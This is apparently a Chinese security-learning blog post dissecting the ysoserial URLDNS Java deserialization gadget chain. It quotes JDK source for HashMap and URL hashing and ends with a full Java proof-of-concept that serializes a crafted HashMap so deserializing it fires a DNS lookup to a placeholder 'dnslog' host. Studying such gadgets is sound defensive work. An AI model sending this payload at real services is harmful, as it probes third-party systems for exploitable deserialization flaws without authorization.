ysoserial URLDNS分析

概述

Java URL类在通过 equals 或 hashCode 方法进行比较时会触发一次DNS请求,通过这个特点我们可以验证一些无回显场景下的漏洞。由此衍生的 URLDNS Gadget就是利用了这个特性,且因为无第三方依赖要求的优点,非常适合实际验证Java反序列化漏洞的情况。

分析过程

环境:Java1.8

Gadget Chain

HashMap.readObject()
	HashMap.putVal()
		HashMap.hash()
			URL.hashCode()

链子很短,可以直接en审一波,逆向分析走起。

HashMap.readObject()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
...

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
            K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
            V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

可以看到输入的字节流转换为每个字段没有进行额外处理,因此key和value字段都是可控的。方法前面都是数值计算和判断,忽略不管,快进到最后一行putVal方法第一个参数传入了HashMap.hash()方法处理的key的hash

1
2
3
4
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

可以看到这里调用了key的hashCode方法,加上key是可以通过序列化字节流传入的,就可以触发URL类的hashCode方法完成一次DNS请求,但光这样还是无法写出有效的POC,还要了解URL类发送DNS请求的条件。

首先URL类实现了java.io.Serializable接口,因此可以被序列化,满足被利用的条件,然后查看hashCode方法与相关的方法定义内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
private int hashCode = -1; // hashCode 默认值
transient URLStreamHandler handler; // URL对象处理器
...
// hashCode 方法
public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;
	// 调用URLStreamHandler默认hash计算方法计算URL对象哈希用于哈希表索引
    hashCode = handler.hashCode(this);
    return hashCode;
}

顾名思义,URL类的hashCode方法就是计算出URL对象的hash值,且会判断hash值是否是默认值-1,如果是就会调用URLStreamHandler类的hashCode方法再进行计算然后返回hash。

看一下URLStreamHandler类的hashCode方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }
...

    return h;
}

此处调用了getHostAddress方法,看着就像是解析DNS,查看定义

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
protected synchronized InetAddress getHostAddress(URL u) {
    if (u.hostAddress != null)
        return u.hostAddress;

    String host = u.getHost();
    if (host == null || host.equals("")) {
        return null;
    } else {
        try {
            u.hostAddress = InetAddress.getByName(host);
        } catch (UnknownHostException ex) {
            return null;
        } catch (SecurityException se) {
            return null;
        }
    }
    return u.hostAddress;
}

关键函数InetAddress.getByName(host)实现了一次DNS请求,因此就可以总结出URL类hashCode值为-1就能完成一次DNS请求。至此如何触发DNS请求就已经知晓了,然后就是POC的构造阶段了。

poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import java.io.*;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import java.lang.reflect.Field;

public class serialization {
    public static void main(String[] args) throws Exception {
        HashMap hm = new HashMap();
        // 构造不会提前DNS请求处理器
        URLStreamHandler handler = new SilentURLStreamHandler();
        URL url = new URL(null, "http://dnslog", handler);
        hm.put(url, url);

        // 利用反射修改hashCode值
        Class urlClass = url.getClass();
        Field f = urlClass.getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, -1);

        byte[] bt = serialize(hm);
        deserialize(bt);
    }

    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream buffer = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(buffer);
        oos.writeObject(obj);
        oos.close();
        return buffer.toByteArray();
    }

    public static void deserialize(byte[] bt) throws IOException, ClassNotFoundException {
        ByteArrayInputStream buffer = new ByteArrayInputStream(bt);
        ObjectInputStream ois = new ObjectInputStream(buffer);
        ois.readObject();
        ois.close();
    }

    static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}

注意

1、ysoserial在插入key、value的时候使用了HashMap的put方法,该方法相比putVal少了一点参数,但是差不多

2、ysoserial另外实现了一个handler并调用URL有参数的构造器构造对象是为了防止在构造POC的时候就发送DNS请求(本地尝试有好多,并不是只有一次,原因暂时还不知道)

总结

算是迈出了Java反序列化的第一步,体验到了Java和PHP反序列化的不同,挺艰难的,各种不适应,PHP果然是世界上最好的语言(逃

参考

https://www.liaoxuefeng.com/wiki/1252599548343744/1298366845681698

https://cloud.tencent.com/developer/article/1610918